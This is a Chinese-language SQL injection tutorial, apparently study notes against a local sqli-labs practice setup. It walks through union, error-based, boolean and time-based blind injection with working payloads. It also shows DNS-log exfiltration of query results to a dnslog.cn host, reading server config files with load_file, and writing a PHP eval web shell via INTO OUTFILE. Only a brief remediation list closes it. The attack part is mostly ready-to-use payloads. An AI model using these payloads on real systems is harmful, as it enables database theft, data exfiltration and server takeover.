sql注入原理
sql注入产生的原因:前端传递数据给服务器带入到数据库进行执行,用户在传递数据的时候 没有进行严格的检查 导致恶意 的sql语句 拼接到原有的语句上 导致sql注入的产生。
漏洞发现
union联合查询
union联合查询 mysql 5.0版本以上存在information_schema数据 并且 有回显
union 连接前后的两个语句一起执行 后面的语句字段数必须和前面的一样;
information_schema库里面包含 所有数据库中的结构包括数据库名 表名 字段名
union select 1,2,3 from users;
SELECT id, username, avatar FROM dt_users where id=-88 union select 1,2,3 from users;
select table_name from information_schema.tables where table_schema=database();
select column_name from information_schema.columns where table_name=‘dt_users’;
SELECT id, username, avatar FROM dt_users where id=-88 union select 1,column_name,3 from information_schema.columns where table_name=‘dt_users’;
union联合查询
1.首先通过order by 确定列数 否则 union后面的语句 列数不对 会产生报错
2.使用union select 确定确定语句无错误 可以正常执行并显示
3.通过information_schema数据库 了解数据库名 表名 列名
database();–查询库名
select table_name from information_schema.tables where table_schema=database(); --查询表名
select column_name from information_schema.columns where table_name=‘dt_users’; --查询列名
4.在我们知道库名 表名 列名之后 就可以直接查询数据了
例如 id=1 union select id,user,pass from users;
报错注入
updatexml() 作用:改变文档中符合条件的节点的值
接收三个参数 第二个参数可以进行报错注入 通过语法报错查询数据
可以通过 and or 连接函数执行
SELECT id, username, avatar FROM dt_users where id=88 and updatexml(1,2,3);
SELECT id, username, avatar FROM dt_users where id=88 and updatexml(1,concat(0x7e,(select user())),3);
SELECT id, username, avatar FROM dt_users where id=88 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),3);
SELECT id, username, avatar FROM dt_users where id=88 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1)),3);
SELECT id, username, avatar FROM dt_users where id=88 and updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),3);
extractvalue() 可以对xml进行操作 接收两个参数 第二个参数可以引发报错 导致产生报错注入
SELECT id, username, avatar FROM dt_users where id=88 and extractvalue(1,2);
SELECT id, username, avatar FROM dt_users where id=88 and extractvalue(1,concat(0x7e,(select user())));
SELECT id, username, avatar FROM dt_users where id=88 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())));
SELECT id, username, avatar FROM dt_users where id=88 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1)));
SELECT id, username, avatar FROM dt_users where id=88 and extractvalue(1,concat(0x7e,(select email_id from emails limit 0,1)));
盲注
substr() 截取字符串的作用 可以接收两个参数 第一个参数是需要被截取的字符串 第二个是从哪里开始 第三是截取的长度
ascii() 把字母或特殊字符 转换成ascii码的形式展现出来
left() 从左边截取字符串 接收两个参数 第一个参数是需要被截取的字符串 第二个是从左边要截取的长度
length() 获取字符串长度
http://localhost/sqli/Less-8/?id=1’ and length((select user()))=14 –
通过length获取数据的长度使用<> = 进行比较 最终通过Ture False判断是否正确 判断长度
’ and ascii(substr((select user()),1,1))=114–+ 是字符串 r
’ and ascii(substr((select user()),2,1))=111–+ 是字符串 o
’ and ascii(substr((select user()),3,1))=111–+ 是字符串 o
’ and ascii(substr((select user()),4,1))=116–+ 是字符串 o
’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<14 --+ 获取表名的长度
获取表明的ascii码:
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+ 是字符串 e
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109–+ 是字符串 m
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97–+ 是字符串 a
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=97–+ 是字符串 i
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=108–+ 是字符串 l
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=115–+ 是字符串 s
得到表明 emails
获取列名
’ and ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=115–+
时间盲注
if() 如果的意思 接受三个参数 第一个参数是表达式 如果参数一为Ture那么执行参数二 如果参数一为Flase那么执行参数三
sleep() 延时查询时间
’ and if(length((select user()))=14,sleep(3),1) – +
dnslog外带注入
load_file() 读取文件
通过load_file请求文件 在路径为dnslog 在其中带入需要查询的语句 拼接 dnslog会记录日志
' union select 1,2,(load_file(concat('\\\\',(select hex(user())),'.oqbl1g.dnslog.cn\\abc'))) %23
漏洞利用
secure_file_priv=
文件读取
http://localhost/sqli/Less-1/?id=-1’ union select 1,2,hex(load_file(‘D:\phpstudy_pro\WWW\config.php’))–
不适用hex会被浏览器自动注释在html当中
load_file()函数: 读取一个文件并将其内容作为字符串返回
条件限制:必须有权限读取且文件是可读的,低权限无法读取高权限用户文件
被文件必须在服务器上
必须知道文件的绝对路径
读取的文件必须小于设定:max_allowed_packet
写入web shell
into outfile 将前面的查询 导入 into outfile后面的文件里 后面的文件需要绝对路径
’ union select 1,"<?php @eval($_POST['x']);?>",3 into outfile “c:\phpstudy\PHPTutorial\WWW\xx.php”
查询后台数据
查询管理员的账号密码 进入后台 再找漏洞 getshell
漏洞修复
- 在服务器端要对所有的输入数据验证有效性。
- 在处理输入之前,验证所有客户端提供的数据,包括所有的参数、URL和HTTP头的内容。
- 验证输入数据的类型、长度和合法的取值范围。
- 使用白名单验证允许的输入字符而不是黑名单。
- 在危险字符输入后进行转义或编码。
- 明确所有输入正确的字符集。
- 不使用动态拼接的SQL语句,如果使用对特殊字符进行转义。
- 设置最小权限运行程序,如apache权限运行